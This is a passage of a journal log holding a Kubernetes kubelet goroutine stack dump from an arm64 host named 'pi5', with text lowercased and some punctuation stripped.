k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil.func1 0x44207651a0 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:97 +0x4c\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil 0x44207651a0, 0x0, 0x0, 0x1, 0x44200a4060 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:98 +0x7c\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.until 0x44207651a0, 0x0, 0x44200a4060 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:52 +0x40\r jun 26 07:10:21 pi5 kubelet 716 : created by k8s.io/kubernetes/pkg/util/config.  mux .channel\r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/config/config.go:77 +0x1cc\r jun 26 07:10:21 pi5 kubelet 716 : goroutine 110  select :\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/pkg/kubelet/config.  sourcefile .watch 0x44203b7880, 0x0, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/config/file_linux.go:71 +0x5a8\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/pkg/kubelet/config.  sourcefile .run 0x44203b7880 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/config/file.go:71 +0x20\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/pkg/kubelet/config.  sourcefile . k8s.io/kubernetes/pkg/kubelet/config.run -fm  \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/config/file.go:49 +0x20\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil.func1 0x442038bb70 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:97 +0x4c\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil 0x442038bb70, 0x4a817c800, 0x0, 0x1, 0x44200a4060 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:98 +0x7c\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.until 0x442038bb70, 0x4a817c800, 0x44200a4060 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:52 +0x40\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.forever 0x442038bb70, 0x4a817c800 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:43 +0x38\r jun 26 07:10:21 pi5 kubelet 716 : created by k8s.io/kubernetes/pkg/kubelet/config.newsourcefile\r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/config/file.go:49 +0x140\r jun 26 07:10:21 pi5 kubelet 716 : goroutine 111  chan receive :\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/pkg/util/config.  mux .listen 0x4420765110, 0x33d173a, 0x3, 0x442040c2a0 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/config/config.go:82 +0x3c\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/pkg/util/config.  mux .channel.func1  \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/config/config.go:77 +0x38\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil.func1 0x44207652c0 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:97 +0x4c\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil 0x44207652c0, 0x0, 0x0, 0x6d442c223b656e01, 0x44200a4060 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:98 +0x7c\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.until 0x44207652c0, 0x0, 0x44200a4060 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:52 +0x40\r jun 26 07:10:21 pi5 kubelet 716 : created by k8s.io/kubernetes/pkg/util/config.  mux .channel\r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/config/config.go:77 +0x1cc\r jun 26 07:10:21 pi5 kubelet 716 : goroutine 112  select :\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil 0x442038bbd0, 0x3b9aca00, 0x0, 0x3d616e552c222001, 0x44200a4060 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:109 +0x110\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.until 0x442038bbd0, 0x3b9aca00, 0x44200a4060 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:52 +0x40\r jun 26 07:10:21 pi5 kubelet 716 : created by k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache.  reflector .run\r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/reflector.go:192 +0x14c\r jun 26 07:10:21 pi5 kubelet 716 : goroutine 113  select :\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil 0x442038bcd0, 0x3b9aca00, 0x0, 0x52223d61706e2c01, 0x44200a4060 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:109 +0x110\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.until 0x442038bcd0, 0x3b9aca00, 0x44200a4060 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:52 +0x40\r jun 26 07:10:21 pi5 kubelet 716 : created by k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache.  reflector .run\r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/reflector.go:192 +0x14c\r jun 26 07:10:21 pi5 kubelet 716 : goroutine 114  select :\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil 0x442038bd40, 0x3b9aca00, 0x0, 0x223d6171442c2201, 0x44200a4060 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:109 +0x110\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.until 0x442038bd40, 0x3b9aca00, 0x44200a4060 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:52 +0x40\r jun 26 07:10:21 pi5 kubelet 716 : created by k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache.  reflector .run\r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/reflector.go:192 +0x14c\r jun 26 07:10:21 pi5 kubelet 716 : goroutine 162  io wait :\r jun 26 07:10:21 pi5 kubelet 716 : net.runtime_pollwait 0x7f949d1f40, 0x72, 0xb \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/runtime/netpoll.go:164 +0x3c\r jun 26 07:10:21 pi5 kubelet 716 : net.  polldesc .wait 0x4420b55648, 0x72, 0xffffffffffffffff, 0x4ff6000 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/fd_poll_runtime.go:75 +0x2c\r jun 26 07:10:21 pi5 kubelet 716 : net.  polldesc .waitread 0x4420b55648, 0x4420ca2000, 0x8000 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/fd_poll_runtime.go:80 +0x28\r jun 26 07:10:21 pi5 kubelet 716 : net.  netfd .read 0x4420b555e0, 0x4420ca2000, 0x8000, 0x8000, 0x0, 0x4ff6000, 0x4fdecb8 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/fd_unix.go:250 +0x148\r jun 26 07:10:21 pi5 kubelet 716 : net.  conn .read 0x4420472270, 0x4420ca2000, 0x8000, 0x8000, 0x0, 0x0, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/net.go:181 +0x50\r jun 26 07:10:21 pi5 kubelet 716 : bufio.  reader .read 0x4420ba6180, 0x442070a6b8, 0x9, 0x9, 0x0, 0x14665c0, 0x34ee370 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/bufio/bufio.go:213 +0x27c\r jun 26 07:10:21 pi5 kubelet 716 : io.readatleast 0x4fe08c0, 0x4420ba6180, 0x442070a6b8, 0x9, 0x9, 0x9, 0x1, 0x44201d54b0, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/io/io.go:307 +0x8c\r jun 26 07:10:21 pi5 kubelet 716 : io.readfull 0x4fe08c0, 0x4420ba6180, 0x442070a6b8, 0x9, 0x9, 0x4feb900, 0x44210768a0, 0x14615dc \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/io/io.go:325 +0x44\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/golang.org/x/net/http2.readframeheader 0x442070a6b8, 0x9, 0x9, 0x4fe08c0, 0x4420ba6180, 0x0, 0x0, 0x4420014080, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/golang.org/x/net/http2/frame.go:237 +0x54\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/golang.org/x/net/http2.  framer .readframe 0x442070a680, 0x7, 0x7, 0x0, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/golang.org/x/net/http2/frame.go:469 +0x70\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/google.golang.org/grpc/transport.  framer .readframe 0x4420709830, 0x4421076840, 0x4421076840, 0x0, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/google.golang.org/grpc/transport/http_util.go:508 +0x24\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/google.golang.org/grpc/transport.  http2server .handlestreams 0x442022ca20, 0x44207098c0 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/google.golang.org/grpc/transport/http2_server.go:260 +0x24c\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/google.golang.org/grpc.  server .servestreams 0x4420c3a300, 0x501acc0, 0x442022ca20 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/google.golang.org/grpc/server.go:451 +0x144\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/google.golang.org/grpc.  server .servenewhttp2transport 0x4420c3a300, 0x501d360, 0x4420472270, 0x0, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/google.golang.org/grpc/server.go:438 +0x2f8\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/google.golang.org/grpc.  server .handlerawconn 0x4420c3a300, 0x501d360, 0x4420472270 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/google.golang.org/grpc/server.go:415 +0x388\r jun 26 07:10:21 pi5 kubelet 716 : created by k8s.io/kubernetes/vendor/google.golang.org/grpc.  server .serve\r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/google.golang.org/grpc/server.go:384 +0x458\r jun 26 07:10:21 pi5 kubelet 716 : goroutine 94  select :\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/google.golang.org/grpc/transport.  http2client .controller 0x4420bda120 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/google.golang.org/grpc/transport/http2_client.go:1015 +0x51c\r jun 26 07:10:21 pi5 kubelet 716 : created by k8s.io/kubernetes/vendor/google.golang.org/grpc/transport.newhttp2client\r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/google.golang.org/grpc/transport/http2_client.go:235 +0x90c\r jun 26 07:10:21 pi5 kubelet 716 : goroutine 91  chan receive :\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/pkg/util/interrupt.  handler .run.func2 0x4420b9b140, 0x4420bcdbf0 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/interrupt/interrupt.go:96 +0x3c\r jun 26 07:10:21 pi5 kubelet 716 : created by k8s.io/kubernetes/pkg/util/interrupt.  handler .run\r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/interrupt/interrupt.go:101 +0xc8\r jun 26 07:10:21 pi5 kubelet 716 : goroutine 118  chan receive :\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/pkg/kubelet/images.  serialimagepuller .processimagepullrequests 0x4420780d00 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/images/puller.go:85 +0x40\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/pkg/kubelet/images.  serialimagepuller . k8s.io/kubernetes/pkg/kubelet/images.processimagepullrequests -fm  \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/images/puller.go:66 +0x20\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil.func1 0x4420cde260 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:97 +0x4c\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil 0x4420cde260, 0x3b9aca00, 0x0, 0x453601, 0x44200a4060 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:98 +0x7c\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.until 0x4420cde260, 0x3b9aca00, 0x44200a4060 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:52 +0x40\r jun 26 07:10:21 pi5 kubelet 716 : created by k8s.io/kubernetes/pkg/kubelet/images.newserialimagepuller\r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/images/puller.go:66 +0x104\r jun 26 07:10:21 pi5 kubelet 716 : goroutine 141  chan receive :\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/pkg/util/iptables.  runner .dbussignalhandler 0x4420c2e000, 0x5004f00, 0x4420ab0410 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/iptables/iptables.go:597 +0x8c\r jun 26 07:10:21 pi5 kubelet 716 : created by k8s.io/kubernetes/pkg/util/iptables.  runner .connecttofirewalld\r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/iptables/iptables.go:205 +0x450\r jun 26 07:10:21 pi5 kubelet 716 : goroutine 182  select :\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil 0x4420c82a60, 0xdf8475800, 0x0, 0x1, 0x44200a4060 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:109 +0x110\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.until 0x4420c82a60, 0xdf8475800, 0x44200a4060 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:52 +0x40\r jun 26 07:10:21 pi5 kubelet 716 : created by k8s.io/kubernetes/pkg/kubelet.  kubelet .startgarbagecollection\r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet.go:1219 +0xc4\r jun 26 07:10:21 pi5 kubelet 716 : goroutine 90  select, locked to thread :\r jun 26 07:10:21 pi5 kubelet 716 : runtime.gopark 0x34ee260, 0x0, 0x33d5547, 0x6, 0x18, 0x2 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/runtime/proc.go:271 +0x100\r jun 26 07:10:21 pi5 kubelet 716 : runtime.selectgoimpl 0x4420a8df50, 0x18, 0x2 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/runtime/select.go:423 +0xec0\r jun 26 07:10:21 pi5 kubelet 716 : runtime.selectgo 0x4420a8df50 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/runtime/select.go:238 +0x14\r jun 26 07:10:21 pi5 kubelet 716 : runtime.ensuresigm.func1  \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/runtime/signal_unix.go:434 +0x2ec\r jun 26 07:10:21 pi5 kubelet 716 : runtime.goexit  \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/runtime/asm_arm64.s:981 +0x4\r jun 26 07:10:21 pi5 kubelet 716 : goroutine 93  io wait :\r jun 26 07:10:21 pi5 kubelet 716 : net.runtime_pollwait 0x7f949d2000, 0x72, 0xc \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/runtime/netpoll.go:164 +0x3c\r jun 26 07:10:21 pi5 kubelet 716 : net.  polldesc .wait 0x4420aff878, 0x72, 0xffffffffffffffff, 0x4ff6000 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/fd_poll_runtime.go:75 +0x2c\r jun 26 07:10:21 pi5 kubelet 716 : net.  polldesc .waitread 0x4420aff878, 0x4420c92000, 0x8000 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/fd_poll_runtime.go:80 +0x28\r jun 26 07:10:21 pi5 kubelet 716 : net.  netfd .read 0x4420aff810, 0x4420c92000, 0x8000, 0x8000, 0x0, 0x4ff6000, 0x4fdecb8 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/fd_unix.go:250 +0x148\r jun 26 07:10:21 pi5 kubelet 716 : net.  conn .read 0x442000ec78, 0x4420c92000, 0x8000, 0x8000, 0x0, 0x0, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/net.go:181 +0x50\r jun 26 07:10:21 pi5 kubelet 716 : bufio.  reader .read 0x4420b9b620, 0x44206fab98, 0x9, 0x9, 0x1, 0x44201d5840, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/bufio/bufio.go:213 +0x27c\r jun 26 07:10:21 pi5 kubelet 716 : io.readatleast 0x4fe08c0, 0x4420b9b620, 0x44206fab98, 0x9, 0x9, 0x9, 0x4421076db0, 0x0, 0x4421076db0 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/io/io.go:307 +0x8c\r jun 26 07:10:21 pi5 kubelet 716 : io.readfull 0x4fe08c0, 0x4420b9b620, 0x44206fab98, 0x9, 0x9, 0x4420014080, 0xc6959e88310dd005, 0x1 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/io/io.go:325 +0x44\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/golang.org/x/net/http2.readframeheader 0x44206fab98, 0x9, 0x9, 0x4fe08c0, 0x4420b9b620, 0x0, 0x0, 0x0, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/golang.org/x/net/http2/frame.go:237 +0x54\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/golang.org/x/net/http2.  framer .readframe 0x44206fab60, 0x0, 0x0, 0x0, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/golang.org/x/net/http2/frame.go:469 +0x70\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/google.golang.org/grpc/transport.  framer .readframe 0x4420bcdda0, 0x4421076d50, 0x4421076d50, 0x0, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/google.golang.org/grpc/transport/http_util.go:508 +0x24\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/google.golang.org/grpc/transport.  http2client .reader 0x4420bda120 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/google.golang.org/grpc/transport/http2_client.go:937 +0x74\r jun 26 07:10:21 pi5 kubelet 716 : created by k8s.io/kubernetes/vendor/google.golang.org/grpc/transport.newhttp2client\r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/google.golang.org/grpc/transport/http2_client.go:205 +0x664\r jun 26 07:10:21 pi5 kubelet 716 : goroutine 148  select :\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil 0x4420139510, 0x45d964b800, 0x0, 0x63656c6573223d01, 0x44200a4060 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:109 +0x110\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.until 0x4420139510, 0x45d964b800, 0x44200a4060 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:52 +0x40\r jun 26 07:10:21 pi5 kubelet 716 : created by k8s.io/kubernetes/pkg/kubelet/dockershim/cm.  containermanager .start\r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/dockershim/cm/container_manager_linux.go:79 +0x9c\r jun 26 07:10:21 pi5 kubelet 716 : goroutine 149  io wait :\r jun 26 07:10:21 pi5 kubelet 716 : net.runtime_pollwait 0x7f949d20c0, 0x72, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/runtime/netpoll.go:164 +0x3c\r jun 26 07:10:21 pi5 kubelet 716 : net.  polldesc .wait 0x4420c30d18, 0x72, 0x4fdecb8, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/fd_poll_runtime.go:75 +0x2c\r jun 26 07:10:21 pi5 kubelet 716 : net.  polldesc .waitread 0x4420c30d18, 0xffffffffffffffff, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/fd_poll_runtime.go:80 +0x28\r jun 26 07:10:21 pi5 kubelet 716 : net.  netfd .accept 0x4420c30cb0, 0x0, 0x4ff16c0, 0x4420c827c0 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/fd_unix.go:430 +0x16c\r jun 26 07:10:21 pi5 kubelet 716 : net.  unixlistener .accept 0x4420c25a10, 0x1471f78, 0x4420a8bda8, 0x1471f78 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/unixsock_posix.go:162 +0x24\r jun 26 07:10:21 pi5 kubelet 716 : net.  unixlistener .accept 0x4420c25a10, 0x34e9e50, 0x4420c3a300, 0x501d360, 0x4420ab05c0 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/net/unixsock.go:237 +0x34\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/vendor/google.golang.org/grpc.  server .serve 0x4420c3a300, 0x500f600, 0x4420c25a10, 0x0, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/google.golang.org/grpc/server.go:354 +0x114\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/pkg/kubelet/dockershim/remote.  dockerserver .start.func1.1 0x4400000008, 0x34e6de8 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/dockershim/remote/docker_server.go:63 +0x34\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/pkg/util/interrupt.  handler .run 0x4420bcdbf0, 0x442078b7a0, 0x0, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/interrupt/interrupt.go:103 +0xfc\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/pkg/kubelet/dockershim/remote.  dockerserver .start.func1 0x4420c259e0, 0x500f600, 0x4420c25a10 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/dockershim/remote/docker_server.go:63 +0xe4\r jun 26 07:10:21 pi5 kubelet 716 : created by k8s.io/kubernetes/pkg/kubelet/dockershim/remote.  